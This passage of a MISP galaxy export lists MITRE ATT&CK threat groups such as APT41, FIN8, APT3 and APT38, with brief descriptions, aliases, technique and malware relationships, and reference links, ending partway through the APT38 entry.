uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 3013. Table References
Links
https://attack.mitre.org/groups/G0073
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/
https://www.fireeye.com/current-threats/apt-groups.html#apt19
https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/
https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059

APT41 - G0096

[APT41](https://attack.mitre.org/groups/G0096) is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)

The tag is: misp-galaxy:mitre-intrusion-set="APT41 - G0096"

APT41 - G0096 is also known as:

APT41

APT41 - G0096 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ROCKBOOT - S0112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"

Table 3014. Table References
Links
https://attack.mitre.org/groups/G0096
https://content.fireeye.com/apt-41/rpt-apt41

Strider - G0041

[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)

The tag is: misp-galaxy:mitre-intrusion-set="Strider - G0041"

Strider - G0041 is also known as:

Strider
ProjectSauron

Strider - G0041 has relationships with:

similar: misp-galaxy:threat-actor="ProjectSauron" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Remsec - S0125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3015. Table References
Links
https://attack.mitre.org/groups/G0041
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets
https://securelist.com/faq-the-projectsauron-apt/75533/
https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf

Taidoor - G0015

[Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)

The tag is: misp-galaxy:mitre-intrusion-set="Taidoor - G0015"

Taidoor - G0015 is also known as:

Taidoor

Taidoor - G0015 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 3016. Table References
Links
https://attack.mitre.org/groups/G0015
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf

FIN8 - G0061

[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)

The tag is: misp-galaxy:mitre-intrusion-set="FIN8 - G0061"

FIN8 - G0061 is also known as:

FIN8

FIN8 - G0061 has relationships with:

similar: misp-galaxy:threat-actor="FIN8" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="dsquery - S0105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PUNCHTRACK - S0197" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PUNCHBUGGY - S0196" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"

Table 3017. Table References
Links
https://attack.mitre.org/groups/G0061
https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html

DragonOK - G0017

[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)

The tag is: misp-galaxy:mitre-intrusion-set="DragonOK - G0017"

DragonOK - G0017 is also known as:

DragonOK

DragonOK - G0017 has relationships with:

similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

Table 3018. Table References
Links
https://attack.mitre.org/groups/G0017
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/

Orangeworm - G0071

[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage. (Citation: Symantec Orangeworm April 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Orangeworm - G0071"

Orangeworm - G0071 is also known as:

Orangeworm

Orangeworm - G0071 has relationships with:

uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="route - S0103" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Kwampirs - S0236" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"

Table 3019. Table References
Links
https://attack.mitre.org/groups/G0071
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

Naikon - G0019

[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)

The tag is: misp-galaxy:mitre-intrusion-set="Naikon - G0019"

Naikon - G0019 is also known as:

Naikon

Naikon - G0019 has relationships with:

similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Sys10 - S0060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="WinMM - S0059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="RARSTONE - S0055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="SslMM - S0058" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="HDoor - S0061" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="FTP - S0095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"

Table 3020. Table References
Links
https://attack.mitre.org/groups/G0019
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf
http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf
https://securelist.com/the-naikon-apt/69953/

Silence - G0091

[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank’s Automated Workstation Client, ATMs, and card processing. (Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)

The tag is: misp-galaxy:mitre-intrusion-set="Silence - G0091"

Silence - G0091 is also known as:

Silence

Silence - G0091 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="almost-certain"

Table 3021. Table References
Links
https://attack.mitre.org/groups/G0091
https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/
https://securelist.com/the-silence/83009/

APT3 - G0022

[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China’s Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)

MITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)

The tag is: misp-galaxy:mitre-intrusion-set="APT3 - G0022"

APT3 - G0022 is also known as:

APT3
Gothic Panda
Pirpi
UPS Team
Buckeye
Threat Group-0110
TG-0110

APT3 - G0022 has relationships with:

similar: misp-galaxy:threat-actor="UPS" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="RemoteCMD - S0166" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="schtasks - S0111" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="OSInfo - S0165" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="SHOTPUT - S0063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 3022. Table References
Links
https://attack.mitre.org/groups/G0022
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html
https://www.recordedfuture.com/chinese-mss-behind-apt3/
https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf
http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html

APT38 - G0082

[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)

The tag is: misp-galaxy:mitre-intrusion-set="APT38 - G0082"

APT38 - G0082 is also known as:

APT38

APT38 - G0082 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
